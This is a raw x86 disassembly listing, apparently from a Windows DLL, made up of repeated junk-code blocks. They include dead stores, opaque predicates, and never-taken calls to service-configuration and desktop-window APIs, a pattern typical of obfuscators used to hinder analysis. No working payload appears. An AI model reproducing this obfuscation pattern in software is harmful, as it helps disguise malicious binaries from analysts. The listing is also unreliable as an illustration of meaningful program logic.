mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0xd3e9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002be2b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x550], 0x82b4746a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002be13
xor eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
cmp dword [ebp - 0x14], eax
je 0x1002be61
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002befb
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x55e
push 0x2474
push 0x18d5
push eax
call edi
jmp 0x1002bef9
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x48], esi
cmp dword [ebp - 0x14], eax
je 0x1002be7e
mov dword [ebp - 0x550], 0xfaf0
mov edx, esi
jmp 0x1002be80
mov edx, eax
imul eax, dword [ebp - 0x48], 0xcb8f
xor ecx, ecx
cmp eax, 0xfffffffb
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x14]
je 0x1002be9b
cmp dword [ebp - 0x14], eax
jne 0x1002bea2
cmp dword [ebp - 0x48], eax
jne 0x1002bea2
mov esi, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, esi
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
add eax, 0x86d6
add eax, ecx
imul eax, dword [ebp - 0x48]
test eax, eax
je 0x1002bedd
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002bedf
xor esi, esi
inc esi
mov edx, esi
jmp 0x1002bee4
xor eax, eax
xor esi, esi
mov edx, eax
inc esi
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x48], 0x35290ce9
mov dword [ebp - 0x30], 0x32e0c280
mov dword [ebp - 0x30], esi
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002bf32
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1b8], 0x41b3c692
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002bf1a
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002bf54
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe88], 0xea0c8d4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002bf3b
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002bf74
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd1c], 0xfffffffd
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002bf5c
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002bf94
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xbc4], 0x13e0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002bf7c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002c0f3
push 2
pop edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0xd538770c
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x30], 0x227283a3
mov dword [ebp - 0x30], 0xc29aeda1
mov dword [ebp - 0x30], 0xbb4ee00b
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], 0x8a59c2d
mov dword [ebp - 0x30], 0x46ac1dea
mov dword [ebp - 0x30], 0xa0dcb3df
mov dword [ebp - 0x10], eax
jmp 0x1002bfff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x101c], 0x3c77d98a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002bfee
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1b8]
mov dword [ebp - 0xe80], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1b8]
dec dword [ebp - 0x48]
mov dword [ebp - 0xd1c], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1b8], ecx
jne 0x1002c061
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1b8], ecx
je 0x1002c071
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1b8], ecx
je 0x1002c071
mov edx, esi
jmp 0x1002c075
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1b8]
cmp edx, eax
mov eax, dword [ebp - 0x1b0]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
je 0x1002c0ae
mov edx, esi
cmp dword [ebp - 0x1b0], eax
jne 0x1002c0b0
mov edx, eax
mov eax, dword [ebp - 0x1c]
push 0
mov eax, dword [ebp + eax*4 - 0x1b8]
mov ecx, dword [ebp - 0x1c]
imul ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x1b8]
pop eax
push 3
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0xbbc]
inc dword [ebp - 0x1c]
pop ecx
cmp dword [ebp - 0x1c], edi
jle 0x1002bfa4
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0xd3e9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002c120
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x664], 0x82b4746a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002c108
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002c150
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002c1ea
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x55e
push 0x2474
push 0x18d5
push eax
call edi
jmp 0x1002c1e8
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x48], esi
cmp dword [ebp - 0x14], eax
je 0x1002c16d
mov dword [ebp - 0x664], 0xfaf0
mov edx, esi
jmp 0x1002c16f
mov edx, eax
imul eax, dword [ebp - 0x48], 0xcb8f
xor ecx, ecx
cmp eax, 0xfffffffb
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x14]
je 0x1002c18a
cmp dword [ebp - 0x14], eax
jne 0x1002c191
cmp dword [ebp - 0x48], eax
jne 0x1002c191
mov esi, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, esi
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
add eax, 0x86d6
add eax, ecx
imul eax, dword [ebp - 0x48]
test eax, eax
je 0x1002c1cc
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002c1ce
xor esi, esi
inc esi
mov edx, esi
jmp 0x1002c1d3
xor eax, eax
xor esi, esi
mov edx, eax
inc esi
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0xd3e9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002c217
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x554], 0x82b4746a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002c1ff
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002c247
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002c2dc
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x55e
push 0x2474
push 0x18d5
push eax
call edi
jmp 0x1002c2da
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x48], esi
cmp dword [ebp - 0x14], eax
je 0x1002c264
mov dword [ebp - 0x554], 0xfaf0
mov edx, esi
jmp 0x1002c266
mov edx, eax
imul eax, dword [ebp - 0x48], 0xcb8f
xor ecx, ecx
cmp eax, 0xfffffffb
setne cl
xor eax, eax
cmp ecx, dword [ebp - 0x14]
je 0x1002c281
cmp dword [ebp - 0x14], eax
jne 0x1002c288
cmp dword [ebp - 0x48], eax
jne 0x1002c288
mov esi, eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
xor edx, edx
cmp ecx, esi
setl dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setle cl
add eax, 0x86d6
add eax, ecx
imul eax, dword [ebp - 0x48]
test eax, eax
je 0x1002c2c1
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002c2c3
lea edx, [eax + 1]
jmp 0x1002c2c5
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x38], ecx
xor eax, eax
push 9
pop edx
mov dword [ebp - 0x1c], edx
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], eax
push 2
mov dword [ebp - 0x30], 0xb5f732bc
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1002c307
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x88c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c2fa
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov esi, dword [sym.imp.USER32.dll_DialogBoxParamA]
mov ebx, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
setle dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
je 0x1002c3c4
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x2c], eax
pop ecx
jmp 0x1002c36a
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002c367
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jge 0x1002c34a
xor edx, edx
mov dword [ebp - 0x2c], eax
inc edx
cmp dword [ebp - 0x2c], edx
jg 0x1002c43b
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x88c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x88c], ecx
xor eax, eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
jl 0x1002c3b8
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x2c593c86
mov dword [ebp - 0x30], 0xc8a52b4b
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x44]
dec dword [ebp - 0x1c]
jns 0x1002c39f
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x1002c37e
xor eax, eax
jmp 0x1002c43b
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002c3e4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
mov dword [ebp - 0x2c], 6
xor edx, edx
cmp dword [ebp - 0x2c], 0x16
je 0x1002c438
inc edx
mov dword [ebp - 0x30], edx
xor ecx, ecx
mov dword [ebp - 0x30], 0x6e89be30
mov dword [ebp - 0x3c], 0x38b4fd08
mov eax, dword [ebp - 0x38]
inc eax
cmp eax, 0xfffffffc
setl cl
add ecx, 0x7b05
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x16
jne 0x1002c3f4
jmp 0x1002c3c0
xor eax, eax
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x48], 0x35290ce9
mov dword [ebp - 0x30], 0x32e0c280
mov dword [ebp - 0x30], edx
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002c472
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x17c], 0x41b3c692
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c45a
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002c494
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xf80], 0xea0c8d4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002c47b
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002c4b4
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd94], 0xfffffffd
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c49c
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002c4d4
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xa48], 0x13e0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c4bc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002c637
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0xd538770c
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x30], 0x227283a3
mov dword [ebp - 0x30], 0xc29aeda1
mov dword [ebp - 0x30], 0xbb4ee00b
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 0x8a59c2d
mov dword [ebp - 0x30], 0x46ac1dea
mov dword [ebp - 0x30], 0xa0dcb3df
mov dword [ebp - 0x10], eax
jmp 0x1002c53c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1130], 0x3c77d98a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c52b
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x17c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x17c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x17c]
mov dword [ebp - 0xf78], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x17c]
dec dword [ebp - 0x48]
mov dword [ebp - 0xd94], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x17c], ecx
jne 0x1002c59e
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x17c], ecx
je 0x1002c5aa
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x17c], ecx
jne 0x1002c5ae
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x17c]
cmp edx, eax
mov eax, dword [ebp - 0x174]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
je 0x1002c5ec
cmp dword [ebp - 0x174], eax
je 0x1002c5ec
xor edi, edi
lea edx, [edi + 1]
jmp 0x1002c5ee
mov edx, eax
mov eax, dword [ebp - 0x1c]
push 2
mov eax, dword [ebp + eax*4 - 0x17c]
mov ecx, dword [ebp - 0x1c]
imul ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x17c]
pop eax
push 0
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0xa40]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
pop eax
push 1
pop edx
push 3
pop ecx
jle 0x1002c4e1
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 9
pop edx
mov dword [ebp - 0x1c], edx
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], eax
push 2
mov dword [ebp - 0x30], 0xb5f732bc
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1002c662
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x754], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c655
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
je 0x1002c713
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x2c], eax
pop ecx
jmp 0x1002c6b9
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002c6b6
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jge 0x1002c699
xor edx, edx
mov dword [ebp - 0x2c], eax
inc edx
cmp dword [ebp - 0x2c], edx
jg 0x1002c78a
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x754]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x754], ecx
xor eax, eax
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], eax
jl 0x1002c707
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x2c593c86
mov dword [ebp - 0x30], 0xc8a52b4b
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x44]
dec dword [ebp - 0x1c]
jns 0x1002c6ee
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jle 0x1002c6cd
xor eax, eax
jmp 0x1002c78a
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002c733
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
mov dword [ebp - 0x2c], 6
xor edx, edx
cmp dword [ebp - 0x2c], 0x16
je 0x1002c787
inc edx
mov dword [ebp - 0x30], edx
xor ecx, ecx
mov dword [ebp - 0x30], 0x6e89be30
mov dword [ebp - 0x3c], 0x38b4fd08
mov eax, dword [ebp - 0x38]
inc eax
cmp eax, 0xfffffffc
setl cl
add ecx, 0x7b05
sub ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x16
jne 0x1002c743
jmp 0x1002c70f
xor eax, eax
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x48], 0x35290ce9
mov dword [ebp - 0x30], 0x32e0c280
mov dword [ebp - 0x30], edx
push 3
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1002c7c1
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x194], 0x41b3c692
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c7a9
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1002c7e3
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xea8], 0xea0c8d4
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x1002c7ca
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002c803
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd34], 0xfffffffd
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c7eb
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1002c823
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xb0c], 0x13e0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1002c80b
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002c986
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0xd538770c
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x30], 0x227283a3
mov dword [ebp - 0x30], 0xc29aeda1
mov dword [ebp - 0x30], 0xbb4ee00b
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x30], 0x8a59c2d
mov dword [ebp - 0x30], 0x46ac1dea
mov dword [ebp - 0x30], 0xa0dcb3df
mov dword [ebp - 0x10], eax
jmp 0x1002c88b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1034], 0x3c77d98a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c87a
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x194]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x194]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x194]
mov dword [ebp - 0xea0], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x194]
dec dword [ebp - 0x48]
mov dword [ebp - 0xd34], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x194], ecx
jne 0x1002c8ed
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x194], ecx
je 0x1002c8f9
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x194], ecx
jne 0x1002c8fd
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x194]
cmp edx, eax
mov eax, dword [ebp - 0x18c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
je 0x1002c93b
cmp dword [ebp - 0x18c], eax
je 0x1002c93b
xor edi, edi
lea edx, [edi + 1]
jmp 0x1002c93d
mov edx, eax
mov eax, dword [ebp - 0x1c]
push 2
mov eax, dword [ebp + eax*4 - 0x194]
mov ecx, dword [ebp - 0x1c]
imul ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp + eax*4 - 0x194]
pop eax
push 0
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0xb04]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
pop eax
push 1
pop edx
push 3
pop ecx
jle 0x1002c830
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x44], 0x583e3585
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002c9ad
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x294], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002c995
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002c9cd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6dc], 0xfffffffa
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002c9b5
xor eax, eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x13
mov dword [ebp - 0x48], 0xc7153413
jl 0x1002cacf
mov dword [ebp - 0x3c], 0x8d9a2b82
or edx, 0xffffffff
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002ca14
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x92c], 0x8b9dbea5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002c9fc
xor eax, eax
cmp dword [ebp - 0x28c], eax
je 0x1002caad
mov eax, dword [ebp - 0x28c]
inc eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], edx
sbb eax, eax
neg eax
cmp dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setge dl
xor eax, eax
sub edx, dword [ebp - 0x3c]
cmp edx, 0xfffffff8
jle 0x1002ca61
cmp dword [ebp - 0x28c], eax
je 0x1002ca61
xor edi, edi
inc edi
mov eax, edi
jmp 0x1002ca64
xor edi, edi
inc edi
cmp eax, dword [ebp - 0x28c]
jg 0x1002ca7a
xor eax, eax
cmp dword [ebp - 0x6dc], eax
je 0x1002ca7c
mov eax, edi
jmp 0x1002ca7c
xor eax, eax
inc dword [ebp - 0x924]
cmp eax, 0xd8475761
mov edx, dword [ebp - 0x924]
sbb ecx, ecx
xor eax, eax
inc ecx
add ecx, dword [ebp - 0x28c]
cmp edx, ecx
push 3
setne al
pop ecx
cmp eax, ecx
jae 0x1002caab
xor edx, edx
inc edx
mov eax, edx
jmp 0x1002cab0
xor eax, eax
xor edx, edx
inc edx
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x28c]
cmp dword [ebp - 0x28c], 0x13
push 0
pop eax
jge 0x1002c9e7
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x28c], 0xd4d1
cmp dword [ebp - 0x6dc], 4
jge 0x1002caea
cmp dword [ebp - 0x6dc], eax
jne 0x1002caec
mov edx, eax
mov eax, dword [ebp - 0x6dc]
xor ecx, ecx
cmp edx, eax
push 9
setne cl
or eax, 0xffffffff
mov dword [ebp - 0x44], ecx
pop edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x44], eax
push 2
mov dword [ebp - 0x30], 0xb5f732bc
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1002cb29
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x82c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002cb1c
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
je 0x1002cbd7
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x2c], eax
pop ebx
jmp 0x1002cb7d
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002cb7a
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
xor eax, eax
push eax
push eax
call esi
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jge 0x1002cb60
xor ebx, ebx
mov dword [ebp - 0x2c], eax
inc ebx
cmp dword [ebp - 0x2c], ebx
jg 0x1002cc4e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x82c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x82c], ecx
xor eax, eax
